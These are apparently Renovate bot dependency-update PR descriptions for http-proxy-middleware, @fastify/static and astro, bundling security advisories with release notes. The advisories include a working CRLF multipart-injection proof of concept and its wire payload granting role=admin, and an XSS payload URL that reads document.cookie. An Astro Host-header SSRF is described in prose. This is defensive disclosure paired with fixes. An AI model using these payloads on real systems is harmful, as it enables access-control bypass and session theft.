4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody` [CVE-2026-55603](https://nvd.nist.gov/vuln/detail/CVE-2026-55603) / [GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm) <details> <summary>More information</summary> #### Details ##### Summary `fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**: ```js // dist/handlers/fix-request-body.js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1'); let str = ''; for (const [key, value] of Object.entries(data)) { str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`; } } ``` A `\r\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. By contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping. ##### Preconditions All three must hold; this narrows real-world exposure and is the basis for `AC:H`: 1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input. 2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls `fixRequestBody` (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key. > Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser. ##### Impact When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin). - **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices). - **File-part injection** inject a `filename="..."` part into the upstream multipart stream. ##### Proof of Concept ```js // npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs) import { fixRequestBody } from 'http-proxy-middleware'; // `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it. // The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF: const req = { readableLength: 0, body: { user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--' }}; // Minimal stand-in for the outgoing proxy request; capture what gets written. const out = []; const proxyReq = { h: { 'content-type': 'multipart/form-data; boundary=BB' }, getHeader(n){ return this.h[n.toLowerCase()]; }, setHeader(n,v){ this.h[n.toLowerCase()] = v; }, write(d){ out.push(Buffer.from(d)); }, }; fixRequestBody(proxyReq, req); // library rebuilds the multipart body console.log(Buffer.concat(out).toString()); ``` Output: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF: ``` --BB Content-Disposition: form-data; name="user" alice --BB Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys admin --BB-- ``` `req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--` ##### Remediation Neutralize CR/LF (and `"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix: ```js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1'); const bad = /[\r\n]/; let str = ''; for (const [key, value] of Object.entries(data)) { const v = String(value); if (bad.test(key) || bad.test(v)) { throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value'); } str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`; } } ``` (Reject is preferable to silent stripping, to avoid masking malicious input.) #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N` #### References - [https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm) - [https://github.com/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>chimurai/http-proxy-middleware (http-proxy-middleware)</summary> ### [`v3.0.7`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.7) [Compare Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7) #### What's Changed - fix(fixRequestBody): harden form-data stringification by [@chimurai](https://redirect.github.com/chimurai) in [#1259](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1259) - chore(package.json): v3.0.7 by [@chimurai](https://redirect.github.com/chimurai) in [#1261](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1261) **Full Changelog**: <chimurai/http-proxy-middleware@v3.0.6...v3.0.7> ### [`v3.0.6`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.6) [Compare Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6) #### What's Changed - fix(types): fix Logger type by [@chimurai](https://redirect.github.com/chimurai) in [#1104](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1104) - fix(fixRequestBody): support text/plain by [@knudtty](https://redirect.github.com/knudtty) in [#1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103) - chore(examples): bump deps by [@chimurai](https://redirect.github.com/chimurai) in [#1105](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1105) - build(prettier): improve prettier setup by [@chimurai](https://redirect.github.com/chimurai) in [#1108](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1108) - chore(deps): fix punycode node deprecation warning by [@chimurai](https://redirect.github.com/chimurai) in [#1109](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1109) - chore(examples): bump deps by [@chimurai](https://redirect.github.com/chimurai) in [#1110](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1110) - build(codespaces): add devcontainer.json by [@chimurai](https://redirect.github.com/chimurai) in [#1112](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1112) - chore(package): bump dev dependencies by [@chimurai](https://redirect.github.com/chimurai) in [#1116](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1116) - ci(github-action): ci.yml add node v24 by [@chimurai](https://redirect.github.com/chimurai) in [#1117](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1117) - chore(package): bump dev dependencies by [@chimurai](https://redirect.github.com/chimurai) in [#1118](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1118) - chore(package): upgrade to jest v30 by [@chimurai](https://redirect.github.com/chimurai) in [#1122](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1122) - chore(examples): upgrade deps by [@chimurai](https://redirect.github.com/chimurai) in [#1124](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1124) - chore(package): update dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1125](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1125) - test(websocket): fix ws import by [@chimurai](https://redirect.github.com/chimurai) in [#1126](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1126) - chore(refactor): use `node:` protocol imports by [@chimurai](https://redirect.github.com/chimurai) in [#1127](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1127) - ci(node24): pin node24 due to TLS issue with mockttp by [@chimurai](https://redirect.github.com/chimurai) in [#1137](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1137) - docs(recipes/pathRewrite.md): fix comment by [@DEBargha2004](https://redirect.github.com/DEBargha2004) in [#1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135) - chore(package): bump dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1138](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1138) - chore(deps): update actions/checkout action to v5 by [@chimurai](https://redirect.github.com/chimurai) in [#1140](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1140) - fix(error-response-plugin): sanitize input by [@chimurai](https://redirect.github.com/chimurai) in [#1141](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1141) - chore(package.json): update dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1143](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1143) - chore: add context7.json by [@chimurai](https://redirect.github.com/chimurai) in [#1144](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1144) - build(eslint): update eslint.config.mjs by [@chimurai](https://redirect.github.com/chimurai) in [#1145](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1145) - ci(github workflow): harden github workflows by [@chimurai](https://redirect.github.com/chimurai) in [#1146](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1146) - chore(package): bump dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1147](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1147) - ci(ci.yml): unpin node 24 by [@chimurai](https://redirect.github.com/chimurai) in [#1148](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1148) - docs(recipes): fix servers.md http.createServer example by [@hacklschorsch](https://redirect.github.com/hacklschorsch) in [#1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150) - ci: publish with oidc by [@chimurai](https://redirect.github.com/chimurai) in [#1152](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1152) - chore(package.json): bump dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1153](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1153) - chore(package.json): bump dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1155](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1155) - chore(package.json): bump dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1158](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1158) - test(types.spec.ts): add type check when req or res are 'any' by [@chimurai](https://redirect.github.com/chimurai) in [#1161](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1161) - chore(package.json): bump deps by [@chimurai](https://redirect.github.com/chimurai) in [#1164](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1164) - chore(package.json): eslint v10 by [@chimurai](https://redirect.github.com/chimurai) in [#1165](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1165) - chore(package.json): bump dev deps by [@chimurai](https://redirect.github.com/chimurai) in [#1166](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1166) - chore(package.json): bump dev-deps by [@chimurai](https://redirect.github.com/chimurai) in [#1171](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1171) - docs(examples): fix websocket example by [@chimurai](https://redirect.github.com/chimurai) in [#1170](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1170) - build(vscode): use workspace version of TypeScript by [@chimurai](https://redirect.github.com/chimurai) in [#1173](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1173) - fix(router): harden proxy-table matching by [@chimurai](https://redirect.github.com/chimurai) in [#1254](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1254) - chore(package.json): v3.0.6 by [@chimurai](https://redirect.github.com/chimurai) in [#1256](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1256) #### New Contributors - [@knudtty](https://redirect.github.com/knudtty) made their first contribution in [#1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103) - [@DEBargha2004](https://redirect.github.com/DEBargha2004) made their first contribution in [#1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135) - [@hacklschorsch](https://redirect.github.com/hacklschorsch) made their first contribution in [#1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150) **Full Changelog**: <chimurai/http-proxy-middleware@v3.0.5...v3.0.6> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@fastify/static](https://redirect.github.com/fastify/fastify-static) | [`9.1.1` → `9.1.3`](https://renovatebot.com/diffs/npm/@fastify%2fstatic/9.1.1/9.1.3) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@fastify%2fstatic/9.1.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@fastify%2fstatic/9.1.1/9.1.3?slim=true) | --- ### Release Notes <details> <summary>fastify/fastify-static (@fastify/static)</summary> ### [`v9.1.3`](https://redirect.github.com/fastify/fastify-static/releases/tag/v9.1.3) [Compare Source](https://redirect.github.com/fastify/fastify-static/compare/v9.1.2...v9.1.3) #### What's Changed - fix: support wildcard prefixes with route params by [@mcollina](https://redirect.github.com/mcollina) in [#576](https://redirect.github.com/fastify/fastify-static/pull/576) **Full Changelog**: <fastify/fastify-static@v9.1.2...v9.1.3> ### [`v9.1.2`](https://redirect.github.com/fastify/fastify-static/releases/tag/v9.1.2) [Compare Source](https://redirect.github.com/fastify/fastify-static/compare/v9.1.1...v9.1.2) #### What's Changed - fix: resolve wildcard paths in encapsulated contexts by [@mcollina](https://redirect.github.com/mcollina) in [#574](https://redirect.github.com/fastify/fastify-static/pull/574) **Full Changelog**: <fastify/fastify-static@v9.1.1...v9.1.2> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - Between 12:00 AM and 03:59 AM, only on Monday (`* 0-3 * * 1`) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [astro](https://astro.build) ([source](https://redirect.github.com/withastro/astro/tree/HEAD/packages/astro)) | [`6.4.4` → `6.4.6`](https://renovatebot.com/diffs/npm/astro/6.4.4/6.4.6) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/6.4.6?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/6.4.4/6.4.6?slim=true) | --- ### Astro: Host header SSRF in prerendered error page fetch [CVE-2026-54299](https://nvd.nist.gov/vuln/detail/CVE-2026-54299) / [GHSA-2pvr-wf23-7pc7](https://redirect.github.com/advisories/GHSA-2pvr-wf23-7pc7) <details> <summary>More information</summary> #### Details ##### Summary Astro SSR apps with prerendered error pages (`/404` or `/500` using `export const prerender = true`) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from `request.url`, which in turn gets its origin from the incoming `Host` header. When the `Host` header is not validated against `allowedDomains`, an attacker can point the fetch at an arbitrary host and read the response. ##### Who is affected This affects SSR deployments that: 1. Have a prerendered 404 or 500 page 2. Use `createRequestFromNodeRequest` from `astro/app/node` with `app.render()` **without** overriding `prerenderedErrorPageFetch` — this includes custom servers built on the public API and third-party adapters **Not affected:** - `@astrojs/node` >= 9.5.4 (reads error pages from disk) - `@astrojs/cloudflare` (uses the ASSETS binding) - The dev server (renders error pages in-process) ##### How it works `createRequestFromNodeRequest` builds `request.url` from the raw `Host` / `:authority` header. The `allowedDomains` option is accepted but only gates `X-Forwarded-For` — it does not constrain the URL origin. (The public `createRequest` does fall back to `localhost` for unvalidated hosts; this internal builder did not.) When `app.render()` encounters a 404 or 500 with a prerendered error route, `default-handler.ts` constructs the error page URL using the origin from `request.url` and fetches it via `prerenderedErrorPageFetch`, which defaults to global `fetch`. The response body is served to the client. An attacker sends a request with `Host: attacker-host:port`, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back. ##### Remediation The error page fetch origin is now validated against `allowedDomains` before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to `localhost`. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response. ##### Credit 5ud0 / Tarmo Technologies #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7](https://redirect.github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7) - [https://github.com/advisories/GHSA-2pvr-wf23-7pc7](https://redirect.github.com/advisories/GHSA-2pvr-wf23-7pc7) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-2pvr-wf23-7pc7) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: XSS via Unescaped Attribute Names in Spread Props [CVE-2026-54298](https://nvd.nist.gov/vuln/detail/CVE-2026-54298) / [GHSA-jrpj-wcv7-9fh9](https://redirect.github.com/advisories/GHSA-jrpj-wcv7-9fh9) <details> <summary>More information</summary> #### Details ##### Summary The `spreadAttributes` function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to `addAttribute`, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax `{...props}` on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like `onmousemove`, `onclick`, or break out of the attribute context entirely to inject new elements. ##### Details The vulnerable function is [`addAttribute`](https://redirect.github.com/withastro/astro/blob/main/packages/astro/src/runtime/server/render/util.ts#L81-L141) at `packages/astro/src/runtime/server/render/util.ts:81-141`: ```javascript export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') { if (value == null) { return ''; } return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); // key interpolated not escaped } ``` This function is called from [`spreadAttributes`](https://redirect.github.com/withastro/astro/blob/main/packages/astro/src/runtime/server/index.ts#L91-L92) at `packages/astro/src/runtime/server/index.ts:91-92`: ```javascript for (const [key, value] of Object.entries(values)) { output += addAttribute(value, key, true, _name); } ``` The `toAttributeString` function escapes the attribute value, but the attribute name `key` is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers. Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via `{...props}`. The compiler generates `spreadAttributes(props)` which iterates with `Object.entries()` and calls `addAttribute(value, key)`. The key is interpolated as `` ` ${key}="${escapedValue}"` ``. A malicious key breaks attribute context, resulting in XSS. ##### POC Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const props = JSON.parse(Astro.url.searchParams.get('props') || '{}'); --- <html> <body> <h1>Hello</h1> <div {...props}>Move mouse here</div> </body> </html> ``` Enable SSR in `astro.config.mjs` (for URL based demo): ```javascript export default defineConfig({ output: 'server' }); ``` Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters. Start the dev server and visit: ``` http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""} ``` URL encoded: ``` http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D ``` View the HTML source. The output contains: ```html <div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div> ``` The key `x" onmousemove="alert(document.cookie)" y` breaks out of the attribute context. Moving the mouse over the div executes the JavaScript. <img width="1919" height="992" alt="Captura de tela 2026-06-02 005906" src="https://github.com/user-attachments/assets/ef69c12e-7edf-472e-97d1-3dfa540e61b4" /> ##### Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains. The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments. #### Severity - CVSS Score: 4.2 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9](https://redirect.github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9) - [https://github.com/advisories/GHSA-jrpj-wcv7-9fh9](https://redirect.github.com/advisories/GHSA-jrpj-wcv7-9fh9) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-jrpj-wcv7-9fh9) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>withastro/astro (astro)</summary> ### [`v6.4.6`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#646) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.4.5...astro@6.4.6) ##### Patch Changes - [#16765](https://redirect.github.com/withastro/astro/pull/16765) [`b10e86e`](https://redirect.github.com/withastro/astro/commit/b10e86e6dbaf04678127c86366befc0b78a164f6) Thanks [@fkatsuhiro](https://redirect.github.com/fkatsuhiro)! - Fixes an issue where renaming an image file while the dev server is running triggers a build error. Now Astro correctly hot-reloads the image without crashing. - [#17026](https://redirect.github.com/withastro/astro/pull/17026) [`add3df1`](https://redirect.github.com/withastro/astro/commit/add3df10fdaff469ae0228f09d99290de170029a) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Hardens `addAttribute` to drop attribute names containing characters that are invalid per the HTML spec (`"`, `'`, `>`, `/`, `=`, whitespace) - [#17033](https://redirect.github.com/withastro/astro/pull/17033) [`ffda27b`](https://redirect.github.com/withastro/astro/commit/ffda27b7c8697d4b7ed530e93385a420e1fc4acd) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Validates the request origin against `allowedDomains` before fetching prerendered error pages. When `allowedDomains` is configured and the Host header matches, the original origin is used. Otherwise, the fetch falls back to `localhost`. ### [`v6.4.5`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#645) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.4.4...astro@6.4.5) ##### Patch Changes - [#16985](https://redirect.github.com/withastro/astro/pull/16985) [`4ecff32`](https://redirect.github.com/withastro/astro/commit/4ecff3268acb6ee3db719c4b38bbaead703ff4de) Thanks [@maximslo](https://redirect.github.com/maximslo)! - Fixes the `experimental.logger` destination not being used for the "Server listening on..." startup message. The logger is now resolved before the server starts listening, and `adapterLogger` re-creates itself when the underlying logger changes so the startup message uses the correct destination. - [#16947](https://redirect.github.com/withastro/astro/pull/16947) [`e0703a6`](https://redirect.github.com/withastro/astro/commit/e0703a6e815be829759ab7912f7024ee8424c3ac) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes `Astro.request.url` not reflecting validated `X-Forwarded-Proto`/`X-Forwarded-Host` headers when `security.allowedDomains` is configured. Previously, only `Astro.url` was updated with the forwarded origin while `Astro.request.url` retained the socket-derived URL, causing the two to diverge behind TLS-terminating proxies. - [#16997](https://redirect.github.com/withastro/astro/pull/16997) [`dc45246`](https://redirect.github.com/withastro/astro/commit/dc45246812afcaab60393e5236d27e95f98f5efa) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Reverts a change to `isNode` runtime detection that caused a significant build time regression for Cloudflare adapter users with large prerendered sites </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

